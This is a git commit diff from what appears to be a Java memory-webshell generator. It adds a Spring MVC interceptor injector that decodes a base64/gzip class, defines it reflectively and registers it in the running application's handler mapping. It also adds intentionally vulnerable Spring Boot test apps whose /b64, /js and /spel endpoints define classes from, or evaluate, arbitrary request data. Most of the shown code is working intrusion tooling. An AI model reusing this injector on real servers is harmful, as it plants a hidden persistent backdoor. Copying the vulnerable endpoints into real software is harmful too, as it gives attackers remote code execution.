public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
} finally {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
try {
|
||||||
|
gzipInputStream.close();
|
||||||
|
} catch (IOException ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
for (Class<?> clazz = obj.getClass();
|
||||||
|
clazz != Object.class;
|
||||||
|
clazz = clazz.getSuperclass()) {
|
||||||
|
try {
|
||||||
|
return clazz.getDeclaredField(name);
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(name);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
try {
|
||||||
|
Field field = getField(obj, name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
+201
@@ -0,0 +1,201 @@
|
|||||||
|
package com.reajason.javaweb.memshell.springmvc.injector;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Set;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
public class SpringInterceptorInjector {
|
||||||
|
|
||||||
|
static {
|
||||||
|
new SpringInterceptorInjector();
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getUrlPattern() {
|
||||||
|
return "{{urlPattern}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "{{className}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "{{base64Str}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public SpringInterceptorInjector() {
|
||||||
|
try {
|
||||||
|
Object context = getContext();
|
||||||
|
Object interceptor = getShell();
|
||||||
|
inject(context, interceptor);
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public Class<?> getServletContextClass(ClassLoader classLoader) throws ClassNotFoundException {
|
||||||
|
try {
|
||||||
|
return classLoader.loadClass("javax.servlet.ServletContext");
|
||||||
|
} catch (Throwable e) {
|
||||||
|
return classLoader.loadClass("jakarta.servlet.ServletContext");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("unchecked")
|
||||||
|
public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
Object context = null;
|
||||||
|
try {
|
||||||
|
Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
|
||||||
|
Object request = invokeMethod(requestAttributes, "getRequest");
|
||||||
|
Object session = invokeMethod(request, "getSession");
|
||||||
|
Object servletContext = invokeMethod(session, "getServletContext");
|
||||||
|
context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{getServletContextClass(classLoader)}, new Object[]{servletContext});
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
if (context == null) {
|
||||||
|
try {
|
||||||
|
Set<Object> applicationContexts = (Set<Object>) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
|
||||||
|
Object applicationContext = applicationContexts.iterator().next();
|
||||||
|
if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
|
||||||
|
context = applicationContext;
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return context;
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getShell() throws Exception {
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
Object interceptor = null;
|
||||||
|
try {
|
||||||
|
interceptor = classLoader.loadClass(getClassName()).newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
interceptor = clazz.newInstance();
|
||||||
|
}
|
||||||
|
return interceptor;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("unchecked")
|
||||||
|
public void inject(Object context, Object interceptor) throws Exception {
|
||||||
|
Object abstractHandlerMapping = invokeMethod(context, "getBean", new Class[]{String.class}, new Object[]{"requestMappingHandlerMapping"});
|
||||||
|
System.out.println(abstractHandlerMapping.getClass().getName());
|
||||||
|
List<Object> adaptedInterceptors = (List<Object>) getFieldValue(abstractHandlerMapping, "adaptedInterceptors");
|
||||||
|
for (Object adaptedInterceptor : adaptedInterceptors) {
|
||||||
|
if (adaptedInterceptor.getClass().getName().equals(getClassName())) {
|
||||||
|
System.out.println("interceptor already injected");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
adaptedInterceptors.add(interceptor);
|
||||||
|
System.out.println("interceptor injected successfully");
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName) throws
|
||||||
|
Exception {
|
||||||
|
return invokeMethod(obj, methodName, new Class[0], new Object[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
|
||||||
|
Exception {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
} finally {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
try {
|
||||||
|
gzipInputStream.close();
|
||||||
|
} catch (IOException ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
for (Class<?> clazz = obj.getClass();
|
||||||
|
clazz != Object.class;
|
||||||
|
clazz = clazz.getSuperclass()) {
|
||||||
|
try {
|
||||||
|
return clazz.getDeclaredField(name);
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(name);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
try {
|
||||||
|
Field field = getField(obj, name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,4 @@
|
|||||||
|
package org.springframework.web.servlet;
|
||||||
|
|
||||||
|
public interface AsyncHandlerInterceptor {
|
||||||
|
}
|
||||||
@@ -0,0 +1,8 @@
|
|||||||
|
package org.springframework.web.servlet;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
public class ModelAndView {
|
||||||
|
}
|
||||||
@@ -0,0 +1,8 @@
|
|||||||
|
package org.springframework.web.servlet.mvc;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
public interface Controller {
|
||||||
|
}
|
||||||
+3
-1
@@ -12,4 +12,6 @@ include 'integration-test'
|
|||||||
include 'vul'
|
include 'vul'
|
||||||
include 'vul:vul-webapp'
|
include 'vul:vul-webapp'
|
||||||
include 'vul:vul-webapp-jakarta'
|
include 'vul:vul-webapp-jakarta'
|
||||||
include 'vul:vul-webapp-expression'
|
include 'vul:vul-webapp-expression'
|
||||||
|
include 'vul:vul-springboot2'
|
||||||
|
include 'vul:vul-springboot3'
|
||||||
|
|||||||
@@ -0,0 +1,8 @@
|
|||||||
|
FROM openjdk:8
|
||||||
|
WORKDIR /app
|
||||||
|
|
||||||
|
COPY build/libs/vul-springboot2.jar /app/app.jar
|
||||||
|
|
||||||
|
EXPOSE 8080
|
||||||
|
|
||||||
|
ENTRYPOINT java $JAVA_OPTS -jar app.jar
|
||||||
@@ -0,0 +1,24 @@
|
|||||||
|
plugins {
|
||||||
|
id 'org.springframework.boot' version '2.7.6'
|
||||||
|
id 'io.spring.dependency-management' version '1.0.15.RELEASE'
|
||||||
|
id 'java'
|
||||||
|
id 'war'
|
||||||
|
}
|
||||||
|
|
||||||
|
group = 'com.reajason.javaweb.vul'
|
||||||
|
version = ''
|
||||||
|
sourceCompatibility = '1.8'
|
||||||
|
|
||||||
|
repositories {
|
||||||
|
mavenCentral()
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation 'org.springframework.boot:spring-boot-starter-web'
|
||||||
|
providedRuntime 'org.springframework.boot:spring-boot-starter-tomcat'
|
||||||
|
testImplementation 'org.springframework.boot:spring-boot-starter-test'
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.named('test') {
|
||||||
|
useJUnitPlatform()
|
||||||
|
}
|
||||||
+17
@@ -0,0 +1,17 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot2;
|
||||||
|
|
||||||
|
import com.fasterxml.jackson.annotation.JsonAutoDetect;
|
||||||
|
import com.fasterxml.jackson.annotation.PropertyAccessor;
|
||||||
|
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||||
|
import com.fasterxml.jackson.databind.SerializationFeature;
|
||||||
|
import org.springframework.boot.SpringApplication;
|
||||||
|
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||||
|
import org.springframework.context.annotation.Bean;
|
||||||
|
|
||||||
|
@SpringBootApplication
|
||||||
|
public class VulSpringboot2Application {
|
||||||
|
|
||||||
|
public static void main(String[] args) {
|
||||||
|
SpringApplication.run(VulSpringboot2Application.class, args);
|
||||||
|
}
|
||||||
|
}
|
||||||
+22
@@ -0,0 +1,22 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot2.controller;
|
||||||
|
|
||||||
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
@RequestMapping("/b64")
|
||||||
|
public class Base64ClassLoaderController extends ClassLoader {
|
||||||
|
@PostMapping
|
||||||
|
public String base64ClassLoader(String data) throws Exception {
|
||||||
|
byte[] bytes = Base64.getDecoder().decode(data);
|
||||||
|
Object o = defineClass(null, bytes, 0, bytes.length).newInstance();
|
||||||
|
return o.toString();
|
||||||
|
}
|
||||||
|
}
|
||||||
+23
@@ -0,0 +1,23 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot2.controller;
|
||||||
|
|
||||||
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
public class IndexController {
|
||||||
|
|
||||||
|
@RequestMapping("/test")
|
||||||
|
public String test() {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
@GetMapping("/")
|
||||||
|
public String index() {
|
||||||
|
return "hello";
|
||||||
|
}
|
||||||
|
}
|
||||||
+23
@@ -0,0 +1,23 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot2.controller;
|
||||||
|
|
||||||
|
import org.springframework.http.ResponseEntity;
|
||||||
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
import javax.script.ScriptEngineManager;
|
||||||
|
import javax.script.ScriptException;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
@RequestMapping("/js")
|
||||||
|
public class ScriptEngineController {
|
||||||
|
|
||||||
|
@PostMapping
|
||||||
|
public ResponseEntity<?> js(String data) throws ScriptException {
|
||||||
|
return ResponseEntity.ok().body(String.valueOf(new ScriptEngineManager().getEngineByName("js").eval(data)));
|
||||||
|
}
|
||||||
|
}
|
||||||
+22
@@ -0,0 +1,22 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot2.controller;
|
||||||
|
|
||||||
|
import org.springframework.expression.spel.standard.SpelExpressionParser;
|
||||||
|
import org.springframework.expression.spel.support.StandardEvaluationContext;
|
||||||
|
import org.springframework.http.ResponseEntity;
|
||||||
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
@RequestMapping("/spel")
|
||||||
|
public class SpELController {
|
||||||
|
|
||||||
|
@PostMapping
|
||||||
|
public ResponseEntity<?> spel(String data) {
|
||||||
|
return ResponseEntity.ok().body(String.valueOf(new SpelExpressionParser().parseExpression(data).getValue(new StandardEvaluationContext())));
|
||||||
|
}
|
||||||
|
}
|
||||||
+13
@@ -0,0 +1,13 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot2;
|
||||||
|
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
import org.springframework.boot.test.context.SpringBootTest;
|
||||||
|
|
||||||
|
@SpringBootTest
|
||||||
|
class VulSpringboot2ApplicationTests {
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void contextLoads() {
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,8 @@
|
|||||||
|
FROM openjdk:17
|
||||||
|
WORKDIR /app
|
||||||
|
|
||||||
|
COPY build/libs/vul-springboot3.jar /app/app.jar
|
||||||
|
|
||||||
|
EXPOSE 8080
|
||||||
|
|
||||||
|
ENTRYPOINT java $JAVA_OPTS -jar app.jar
|
||||||
@@ -0,0 +1,20 @@
|
|||||||
|
plugins {
|
||||||
|
id 'java'
|
||||||
|
id 'war'
|
||||||
|
id 'org.springframework.boot' version '3.3.7'
|
||||||
|
id 'io.spring.dependency-management' version '1.1.7'
|
||||||
|
}
|
||||||
|
|
||||||
|
group = 'com.reajason.javaweb.vul'
|
||||||
|
version = ''
|
||||||
|
|
||||||
|
java {
|
||||||
|
toolchain {
|
||||||
|
languageVersion = JavaLanguageVersion.of(17)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation 'org.springframework.boot:spring-boot-starter-web'
|
||||||
|
providedRuntime 'org.springframework.boot:spring-boot-starter-tomcat'
|
||||||
|
}
|
||||||
+10
@@ -0,0 +1,10 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot3;
|
||||||
|
|
||||||
|
public class ClassDefiner extends ClassLoader {
|
||||||
|
private ClassDefiner() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Class<?> defineClass(byte[] code) {
|
||||||
|
return new ClassDefiner().defineClass(null, code, 0, code.length);
|
||||||
|
}
|
||||||
|
}
|
||||||
+12
@@ -0,0 +1,12 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot3;
|
||||||
|
|
||||||
|
import org.springframework.boot.SpringApplication;
|
||||||
|
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||||
|
|
||||||
|
@SpringBootApplication
|
||||||
|
public class VulSpringboot3Application {
|
||||||
|
|
||||||
|
public static void main(String[] args) {
|
||||||
|
SpringApplication.run(VulSpringboot3Application.class, args);
|
||||||
|
}
|
||||||
|
}
|
||||||
+24
@@ -0,0 +1,24 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot3.controller;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.vul.springboot3.ClassDefiner;
|
||||||
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
@RequestMapping("/b64")
|
||||||
|
public class Base64ClassLoaderController {
|
||||||
|
|
||||||
|
@PostMapping
|
||||||
|
public String base64ClassLoader(String data) throws InstantiationException, IllegalAccessException {
|
||||||
|
byte[] bytes = Base64.getDecoder().decode(data);
|
||||||
|
Object o = ClassDefiner.defineClass(bytes).newInstance();
|
||||||
|
return o.toString();
|
||||||
|
}
|
||||||
|
}
|
||||||
+123
@@ -0,0 +1,123 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot3.controller;
|
||||||
|
|
||||||
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
public class IndexController {
|
||||||
|
|
||||||
|
@RequestMapping("/test")
|
||||||
|
public String test() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName) throws
|
||||||
|
Exception {
|
||||||
|
return invokeMethod(obj, methodName, new Class[0], new Object[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
|
||||||
|
Exception {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
} finally {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
try {
|
||||||
|
gzipInputStream.close();
|
||||||
|
} catch (IOException ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
for (Class<?> clazz = obj.getClass();
|
||||||
|
clazz != Object.class;
|
||||||
|
clazz = clazz.getSuperclass()) {
|
||||||
|
try {
|
||||||
|
return clazz.getDeclaredField(name);
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(name);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
try {
|
||||||
|
Field field = getField(obj, name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
@GetMapping("/")
|
||||||
|
public String index() {
|
||||||
|
return "hello";
|
||||||
|
}
|
||||||
|
}
|
||||||
+25
@@ -0,0 +1,25 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot3.controller;
|
||||||
|
|
||||||
|
import org.springframework.expression.spel.standard.SpelExpressionParser;
|
||||||
|
import org.springframework.expression.spel.support.StandardEvaluationContext;
|
||||||
|
import org.springframework.http.ResponseEntity;
|
||||||
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
@RequestMapping("/spel")
|
||||||
|
public class SpELController {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 10000 长度限制,无法使用
|
||||||
|
*/
|
||||||
|
@PostMapping
|
||||||
|
public ResponseEntity<?> spel(String data) {
|
||||||
|
return ResponseEntity.ok().body(String.valueOf(new SpelExpressionParser().parseExpression(data).getValue(new StandardEvaluationContext())));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
spring.application.name=vul-springboot3
|
||||||
+13
@@ -0,0 +1,13 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot3;
|
||||||
|
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
import org.springframework.boot.test.context.SpringBootTest;
|
||||||
|
|
||||||
|
@SpringBootTest
|
||||||
|
class VulSpringboot3ApplicationTests {
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void contextLoads() {
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -10,6 +10,7 @@ export function UrlPatternTip() {
|
|||||||
</TooltipTrigger>
|
</TooltipTrigger>
|
||||||
<TooltipContent>
|
<TooltipContent>
|
||||||
<p>当使用 Servlet 内存马时必须写具体的 urlPattern,不能使用 /*,不然无法使用</p>
|
<p>当使用 Servlet 内存马时必须写具体的 urlPattern,不能使用 /*,不然无法使用</p>
|
||||||
|
<p>当使用 SpringMVC ControllerHandler 内存马时必须写具体的 urlPattern,不能使用 /*,不然无法使用</p>
|
||||||
</TooltipContent>
|
</TooltipContent>
|
||||||
</Tooltip>
|
</Tooltip>
|
||||||
</TooltipProvider>
|
</TooltipProvider>
|
||||||
|
|||||||
Reference in New Issue
Block a user